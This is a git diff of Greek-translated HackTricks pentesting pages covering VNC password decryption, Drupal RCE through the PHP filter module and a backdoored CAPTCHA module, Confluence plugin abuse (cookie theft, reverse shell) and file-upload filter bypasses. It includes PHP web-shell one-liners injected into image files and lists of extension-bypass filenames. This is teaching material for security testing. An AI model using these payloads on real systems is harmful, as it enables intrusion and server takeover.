Μπορείτε να το κάνετε αυτό επειδή ο κωδικός πρόσβασης που χρησιμοποιήθηκε μέσα στο 3des για να κρυπτογραφήσει τους απλούς κωδικούς VNC αντιστράφηκε πριν από χρόνια.\ Μπορείτε να το κάνετε αυτό επειδή ο κωδικός πρόσβασης που χρησιμοποιείται μέσα στο 3des για την κρυπτογράφηση των απλών κωδικών πρόσβασης VNC έχει αντιστραφεί εδώ και χρόνια.\
Για **Windows** μπορείτε επίσης να χρησιμοποιήσετε αυτό το εργαλείο: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\ Για **Windows** μπορείτε επίσης να χρησιμοποιήσετε αυτό το εργαλείο: [https://www.raymond.cc/blog/download/did/232/](https://www.raymond.cc/blog/download/did/232/)\
Αποθηκεύω το εργαλείο εδώ επίσης για ευκολία πρόσβασης: Αποθηκεύω το εργαλείο εδώ επίσης για ευκολία πρόσβασης:
@ -60,7 +60,7 @@ vncpwd <vnc password file>
* `port:5900 RFB` * `port:5900 RFB`
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_). Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_).

View file

@ -1,16 +1,16 @@
# Drupal RCE # Drupal RCE
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
@ -18,10 +18,10 @@ Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="
## Με το Module PHP Filter ## Με το Module PHP Filter
{% hint style="warning" %} {% hint style="warning" %}
Σε παλαιότερες εκδόσεις του Drupal **(πριν την έκδοση 8)**, ήταν δυνατό να συνδεθείτε ως διαχειριστής και **να ενεργοποιήσετε το module `PHP filter`**, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα/κομματιών PHP." Αλλά από την έκδοση 8 αυτό το module δεν εγκαθίσταται από προεπιλογή. Σε παλαιότερες εκδόσεις του Drupal **(πριν την έκδοση 8)**, ήταν δυνατό να συνδεθείτε ως διαχειριστής και **να ενεργοποιήσετε το module `PHP filter`**, το οποίο "Επιτρέπει την αξιολόγηση ενσωματωμένου κώδικα/κομματιών PHP." Αλλά από την έκδοση 8 αυτό το module δεν είναι εγκατεστημένο από προεπιλογή.
{% endhint %} {% endhint %}
Πρέπει να είναι εγκατεστημένο το **plugin php** (ελέγξτε το πηγαίνοντας στο _/modules/php_ και αν επιστρέφει **403** τότε, **υπάρχει**, αν **δεν βρεθεί**, τότε το **plugin php δεν είναι εγκατεστημένο**) Πρέπει να είναι εγκατεστημένο το **plugin php** (ελέγξτε το πηγαίνοντας στο _/modules/php_ και αν επιστρέφει **403** τότε, **υπάρχει**, αν **δεν βρέθηκε**, τότε το **plugin php δεν είναι εγκατεστημένο**)
Πηγαίνετε στο _Modules_ -> (**Ελέγξτε**) _PHP Filter_ -> _Αποθήκευση ρυθμίσεων_ Πηγαίνετε στο _Modules_ -> (**Ελέγξτε**) _PHP Filter_ -> _Αποθήκευση ρυθμίσεων_
@ -38,7 +38,7 @@ curl http://drupal-site.local/node/3
## Εγκατάσταση του PHP Filter Module ## Εγκατάσταση του PHP Filter Module
{% hint style="warning" %} {% hint style="warning" %}
Στις τρέχουσες εκδόσεις, δεν είναι πλέον δυνατό να εγκαταστήσετε πρόσθετα μόνο με πρόσβαση στο διαδίκτυο μετά την προεπιλεγμένη εγκατάσταση. Στις τρέχουσες εκδόσεις δεν είναι πλέον δυνατή η εγκατάσταση πρόσθετων μόνο με πρόσβαση στο διαδίκτυο μετά την προεπιλεγμένη εγκατάσταση.
{% endhint %} {% endhint %}
Από την έκδοση **8 και μετά, το** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module δεν εγκαθίσταται προεπιλεγμένα**. Για να αξιοποιήσουμε αυτή τη λειτουργικότητα, θα πρέπει να **εγκαταστήσουμε το module μόνοι μας**. Από την έκδοση **8 και μετά, το** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **module δεν εγκαθίσταται προεπιλεγμένα**. Για να αξιοποιήσουμε αυτή τη λειτουργικότητα, θα πρέπει να **εγκαταστήσουμε το module μόνοι μας**.
@ -46,13 +46,13 @@ curl http://drupal-site.local/node/3
1. Κατεβάστε την πιο πρόσφατη έκδοση του module από την ιστοσελίδα του Drupal. 1. Κατεβάστε την πιο πρόσφατη έκδοση του module από την ιστοσελίδα του Drupal.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz 1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. Αφού κατεβεί, πηγαίνετε στο **`Administration`** > **`Reports`** > **`Available updates`**. 2. Αφού κατεβεί, πηγαίνετε στο **`Administration`** > **`Reports`** > **`Available updates`**.
3. Κάντε κλικ στο **`Browse`**`,` επιλέξτε το αρχείο από τον φάκελο στον οποίο το κατεβάσατε και στη συνέχεια κάντε κλικ στο **`Install`**. 3. Κάντε κλικ στο **`Browse`**, επιλέξτε το αρχείο από τον φάκελο που το κατεβάσατε και στη συνέχεια κάντε κλικ στο **`Install`**.
4. Αφού εγκατασταθεί το module, μπορούμε να κάνουμε κλικ στο **`Content`** και **να δημιουργήσουμε μια νέα βασική σελίδα**, παρόμοια με το πώς κάναμε στο παράδειγμα του Drupal 7. Και πάλι, βεβαιωθείτε ότι **έχετε επιλέξει `PHP code` από το αναπτυσσόμενο μενού `Text format`**. 4. Αφού εγκατασταθεί το module, μπορείτε να κάνετε κλικ στο **`Content`** και **να δημιουργήσετε μια νέα βασική σελίδα**, παρόμοια με το πώς κάναμε στο παράδειγμα του Drupal 7. Και πάλι, βεβαιωθείτε ότι **έχετε επιλέξει `PHP code` από το αναπτυσσόμενο μενού `Text format`**.
## Backdoored Module ## Backdoored Module
{% hint style="warning" %} {% hint style="warning" %}
Στις τρέχουσες εκδόσεις, δεν είναι πλέον δυνατό να εγκαταστήσετε πρόσθετα μόνο με πρόσβαση στο διαδίκτυο μετά την προεπιλεγμένη εγκατάσταση. Στις τρέχουσες εκδόσεις δεν είναι πλέον δυνατή η εγκατάσταση πρόσθετων μόνο με πρόσβαση στο διαδίκτυο μετά την προεπιλεγμένη εγκατάσταση.
{% endhint %} {% endhint %}
Ένα backdoored module μπορεί να δημιουργηθεί **προσθέτοντας ένα shell σε ένα υπάρχον module**. Τα modules μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα module όπως το [CAPTCHA](https://www.drupal.org/project/captcha). Κάντε κύλιση προς τα κάτω και αντιγράψτε τον σύνδεσμο για το tar.gz [αρχείο](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz). Ένα backdoored module μπορεί να δημιουργηθεί **προσθέτοντας ένα shell σε ένα υπάρχον module**. Τα modules μπορούν να βρεθούν στην ιστοσελίδα drupal.org. Ας επιλέξουμε ένα module όπως το [CAPTCHA](https://www.drupal.org/project/captcha). Κάντε κύλιση προς τα κάτω και αντιγράψτε τον σύνδεσμο για το tar.gz [αρχείο](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
@ -75,13 +75,13 @@ RewriteEngine On
RewriteBase / RewriteBase /
</IfModule> </IfModule>
``` ```
* Η παραπάνω ρύθμιση θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητάμε ένα αρχείο στον /modules. Αντιγράψτε και τα δύο αυτά αρχεία στον φάκελο captcha και δημιουργήστε ένα αρχείο. * Η παραπάνω ρύθμιση θα εφαρμόσει κανόνες για τον φάκελο / όταν ζητάμε ένα αρχείο στον φάκελο /modules. Αντιγράψτε και τα δύο αυτά αρχεία στον φάκελο captcha και δημιουργήστε ένα αρχείο.
```bash ```bash
mv shell.php .htaccess captcha mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/ tar cvf captcha.tar.gz captcha/
``` ```
* Υποθέτοντας ότι έχουμε **διοικητική πρόσβαση** στον ιστότοπο, κάντε κλικ στο **`Manage`** και στη συνέχεια στο **`Extend`** στη γραμμή πλοήγησης. Στη συνέχεια, κάντε κλικ στο κουμπί **`+ Install new module`** και θα μεταφερθούμε στη σελίδα εγκατάστασης, όπως `http://drupal-site.local/admin/modules/install`. Περιηγηθείτε στο αρχείο Captcha με backdoor και κάντε κλικ στο **`Install`**. * Υποθέτοντας ότι έχουμε **διοικητική πρόσβαση** στον ιστότοπο, κάντε κλικ στο **`Manage`** και στη συνέχεια στο **`Extend`** στη γραμμή πλοήγησης. Στη συνέχεια, κάντε κλικ στο κουμπί **`+ Install new module`** και θα μεταφερθούμε στη σελίδα εγκατάστασης, όπως `http://drupal-site.local/admin/modules/install`. Περιηγηθείτε στο αρχείο Captcha με backdoor και κάντε κλικ στο **`Install`**.
* Μόλις ολοκληρωθεί η εγκατάσταση, περιηγηθείτε στο **`/modules/captcha/shell.php`** για να εκτελέσετε εντολές. * Μόλις η εγκατάσταση ολοκληρωθεί με επιτυχία, περιηγηθείτε στο **`/modules/captcha/shell.php`** για να εκτελέσετε εντολές.
## Backdooring Drupal με συγχρονισμό ρυθμίσεων <a href="#backdooring-drupal" id="backdooring-drupal"></a> ## Backdooring Drupal με συγχρονισμό ρυθμίσεων <a href="#backdooring-drupal" id="backdooring-drupal"></a>
@ -97,13 +97,13 @@ tar cvf captcha.tar.gz captcha/
Μετά την ενεργοποίηση: Μετά την ενεργοποίηση:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Μέρος 2 (εκμετάλλευση της δυνατότητας _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a> ### Μέρος 2 (εκμετάλλευση της δυνατότητας _Configuration synchronization_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
Θα εκμεταλλευτούμε τη δυνατότητα _Configuration synchronization_ για να εξάγουμε (dump) και να ανεβάσουμε (import) τις καταχωρίσεις ρυθμίσεων του Drupal: Θα εκμεταλλευτούμε τη δυνατότητα _Configuration synchronization_ για να εξάγουμε (export) και να ανεβάσουμε (import) τις καταχωρίσεις ρυθμίσεων του Drupal:
* /admin/config/development/configuration/single/export * /admin/config/development/configuration/single/export
* /admin/config/development/configuration/single/import * /admin/config/development/configuration/single/import
@ -112,7 +112,7 @@ tar cvf captcha.tar.gz captcha/
Ας ξεκινήσουμε με την επιδιόρθωση της πρώτης καταχώρισης `allow_insecure_uploads` από: Ας ξεκινήσουμε με την επιδιόρθωση της πρώτης καταχώρισης `allow_insecure_uploads` από:
File: system.file.yml Αρχείο: system.file.yml
``` ```
... ...

View file

@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
@ -124,14 +124,14 @@ public OutputType getOutputType() { return OutputType.BLOCK; }
* **Απόκρυψη Προσθέτων από Διαχειριστές**: Είναι δυνατόν να αποκρυφτεί το κακόβουλο πρόσθετο εισάγοντας κάποιο front-end javascript. * **Απόκρυψη Προσθέτων από Διαχειριστές**: Είναι δυνατόν να αποκρυφτεί το κακόβουλο πρόσθετο εισάγοντας κάποιο front-end javascript.
* **Εξαγωγή Συνημμένων και Σελίδων**: Επιτρέπει την πρόσβαση και την εξαγωγή όλων των δεδομένων. * **Εξαγωγή Συνημμένων και Σελίδων**: Επιτρέπει την πρόσβαση και την εξαγωγή όλων των δεδομένων.
* **Κλοπή Διαπιστευτηρίων Συνεδρίας**: Προσθέστε ένα endpoint που θα ανακλά τις κεφαλίδες στην απάντηση (με το cookie) και κάποιο javascript που θα επικοινωνεί μαζί του και θα διαρρέει τα cookies. * **Κλοπή Διαπιστευτηρίων Συνεδρίας**: Προσθέστε ένα endpoint που θα ανακλά τις κεφαλίδες στην απόκριση (με το cookie) και κάποιο javascript που θα επικοινωνεί μαζί του και θα διαρρέει τα cookies.
* **Εκτέλεση Εντολών**: Φυσικά είναι δυνατόν να δημιουργηθεί ένα πρόσθετο που θα εκτελεί κώδικα. * **Εκτέλεση Εντολών**: Φυσικά είναι δυνατόν να δημιουργηθεί ένα πρόσθετο που θα εκτελεί κώδικα.
* **Αντίστροφη Σκηνή**: Ή να αποκτήσετε μια αντίστροφη σκηνή. * **Reverse Shell**: Ή να αποκτήσετε ένα reverse shell.
* **DOM Proxying**: Εάν το confluence είναι μέσα σε ιδιωτικό δίκτυο, θα ήταν δυνατόν να δημιουργηθεί μια σύνδεση μέσω του προγράμματος περιήγησης κάποιου χρήστη με πρόσβαση σε αυτό και για παράδειγμα να επικοινωνήσει με τον διακομιστή εκτελώντας εντολές μέσω αυτού. * **DOM Proxying**: Εάν το confluence είναι μέσα σε ιδιωτικό δίκτυο, θα ήταν δυνατόν να δημιουργηθεί μια σύνδεση μέσω του προγράμματος περιήγησης κάποιου χρήστη με πρόσβαση σε αυτό και για παράδειγμα να επικοινωνήσει με τον διακομιστή εκτελώντας εντολές μέσω αυτού.
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Εάν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραφή και ομιλία στα πολωνικά_). Εάν σας ενδιαφέρει η **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άπταιστη πολωνική γραπτή και προφορική_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}

View file

@ -15,13 +15,13 @@
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάρακτο - **προσλαμβάνουμε!** (_απαιτείται άπταιστη γραπτή και προφορική πολωνική_). Αν ενδιαφέρεστε για **καριέρα hacking** και να χακάρετε το αχάκαρο - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
## File Upload Γενική Μεθοδολογία ## Γενική Μεθοδολογία Ανεβάσματος Αρχείων
Άλλες χρήσιμες επεκτάσεις: Άλλες χρήσιμες επεκτάσεις:
@ -36,11 +36,11 @@
### Παράκαμψη ελέγχων επεκτάσεων αρχείων ### Παράκαμψη ελέγχων επεκτάσεων αρχείων
1. Αν ισχύει, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης να τις χρησιμοποιήσετε με κάποια **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._ 1. Αν ισχύει, **ελέγξτε** τις **προηγούμενες επεκτάσεις.** Δοκιμάστε επίσης να τις χρησιμοποιήσετε με **κεφαλαία γράμματα**: _pHp, .pHP5, .PhAr ..._
2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_ 2. _Ελέγξτε **προσθέτοντας μια έγκυρη επέκταση πριν** από την εκτελέσιμη επέκταση (χρησιμοποιήστε και τις προηγούμενες επεκτάσεις):_
* _file.png.php_ * _file.png.php_
* _file.png.Php5_ * _file.png.Php5_
3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγουμένως** αναφερόμενες **επικεφαλίδες**_) 3. Δοκιμάστε να προσθέσετε **ειδικούς χαρακτήρες στο τέλος.** Μπορείτε να χρησιμοποιήσετε το Burp για να **bruteforce** όλους τους **ascii** και **Unicode** χαρακτήρες. (_Σημειώστε ότι μπορείτε επίσης να δοκιμάσετε να χρησιμοποιήσετε τις **προηγούμενες** αναφερόμενες **επικεφαλίδες**_)
* _file.php%20_ * _file.php%20_
* _file.php%0a_ * _file.php%0a_
* _file.php%00_ * _file.php%00_
@ -50,7 +50,7 @@
* _file._ * _file._
* _file.php...._ * _file.php...._
* _file.pHp5...._ * _file.pHp5...._
4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε ένα καλύτερο payload._ 4. Δοκιμάστε να παρακάμψετε τις προστασίες **ξεγελώντας τον αναλυτή επεκτάσεων** της πλευράς του διακομιστή με τεχνικές όπως **διπλασιασμός** της **επέκτασης** ή **προσθήκη άχρηστων** δεδομένων (**null** bytes) μεταξύ των επεκτάσεων. _Μπορείτε επίσης να χρησιμοποιήσετε τις **προηγούμενες επεκτάσεις** για να προετοιμάσετε μια καλύτερη payload._
* _file.png.php_ * _file.png.php_
* _file.png.pHp5_ * _file.png.pHp5_
* _file.php#.png_ * _file.php#.png_
@ -62,9 +62,9 @@
5. Προσθέστε **άλλη μια στρώση επεκτάσεων** στον προηγούμενο έλεγχο: 5. Προσθέστε **άλλη μια στρώση επεκτάσεων** στον προηγούμενο έλεγχο:
* _file.png.jpg.php_ * _file.png.jpg.php_
* _file.php%00.png%00.jpg_ * _file.php%00.png%00.jpg_
6. Δοκιμάστε να τοποθετήσετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακορυθμισμένος. (χρήσιμο για την εκμετάλλευση κακορυθμίσεων του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα): 6. Δοκιμάστε να τοποθετήσετε την **εκτελέσιμη επέκταση πριν από την έγκυρη επέκταση** και προσευχηθείτε ώστε ο διακομιστής να είναι κακοδιαμορφωμένος. (χρήσιμο για την εκμετάλλευση κακοδιαμορφώσεων του Apache όπου οτιδήποτε με επέκταση **_**.php**_**, αλλά** όχι απαραίτητα που να τελειώνει σε .php** θα εκτελεί κώδικα):
* _ex: file.php.png_ * _ex: file.php.png_
7. Χρησιμοποιώντας **NTFS εναλλακτική ροή δεδομένων (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, ένα **κενό αρχείο με την απαγορευμένη επέκταση** θα δημιουργηθεί στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για την παράκαμψη περαιτέρω περιορισμών (π.χ. “file.asp::$data.”) 7. Χρησιμοποιώντας **NTFS εναλλακτική ροή δεδομένων (ADS)** σε **Windows**. Σε αυτή την περίπτωση, ένας χαρακτήρας άνω των δύο “:” θα εισαχθεί μετά από μια απαγορευμένη επέκταση και πριν από μια επιτρεπόμενη. Ως αποτέλεσμα, θα δημιουργηθεί ένα **κενό αρχείο με την απαγορευμένη επέκταση** στον διακομιστή (π.χ. “file.asax:.jpg”). Αυτό το αρχείο μπορεί να επεξεργαστεί αργότερα χρησιμοποιώντας άλλες τεχνικές όπως η χρήση του σύντομου ονόματος του. Το μοτίβο “**::$data**” μπορεί επίσης να χρησιμοποιηθεί για τη δημιουργία μη κενών αρχείων. Επομένως, η προσθήκη ενός χαρακτήρα τελείας μετά από αυτό το μοτίβο μπορεί επίσης να είναι χρήσιμη για να παρακάμψει περαιτέρω περιορισμούς (π.χ. “file.asp::$data.”)
8. Δοκιμάστε να σπάσετε τα όρια ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php 8. Δοκιμάστε να σπάσετε τα όρια ονόματος αρχείου. Η έγκυρη επέκταση κόβεται. Και το κακόβουλο PHP μένει. AAA<--SNIP-->AAA.php
``` ```
@ -74,7 +74,7 @@ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
# Ανεβάστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236 # Ανεβάστε το αρχείο και ελέγξτε την απόκριση πόσους χαρακτήρες επιτρέπει. Ας πούμε 236
python -c 'print "A" * 232' python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Δημιουργήστε το payload # Δημιουργήστε την payload
AAA<--SNIP 232 A-->AAA.php.png AAA<--SNIP 232 A-->AAA.php.png
``` ```
@ -82,25 +82,25 @@ AAA<--SNIP 232 A-->AAA.php.png
* Παράκαμψη **Content-Type** ελέγχων ορίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_ * Παράκαμψη **Content-Type** ελέγχων ορίζοντας την **τιμή** της **κεφαλίδας Content-Type** σε: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **λίστα λέξεων**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **λίστα λέξεων**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
* Παράκαμψη **magic number** ελέγχου προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την εντολή _file_). Ή εισάγετε το shell μέσα στα **metadata**:\ * Παράκαμψη **magic number** ελέγχου προσθέτοντας στην αρχή του αρχείου τα **bytes μιας πραγματικής εικόνας** (μπερδέψτε την _εντολή_ file). Ή εισάγετε το shell μέσα στα **metadata**:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` ή μπορείτε επίσης να **εισάγετε το payload απευθείας** σε μια εικόνα:\ `\` ή μπορείτε επίσης να **εισάγετε την payload απευθείας** σε μια εικόνα:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
* Αν **συμπίεση προστίθεται στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**. * Αν **συμπίεση προστίθεται στην εικόνα σας**, για παράδειγμα χρησιμοποιώντας κάποιες τυπικές βιβλιοθήκες PHP όπως [PHP-GD](https://www.php.net/manual/fr/book.image.php), οι προηγούμενες τεχνικές δεν θα είναι χρήσιμες. Ωστόσο, μπορείτε να χρησιμοποιήσετε την **τεχνική PLTE chunk** [**που ορίζεται εδώ**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) για να εισάγετε κάποιο κείμενο που θα **επιβιώσει τη συμπίεση**.
* [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) * [**Github με τον κώδικα**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php)
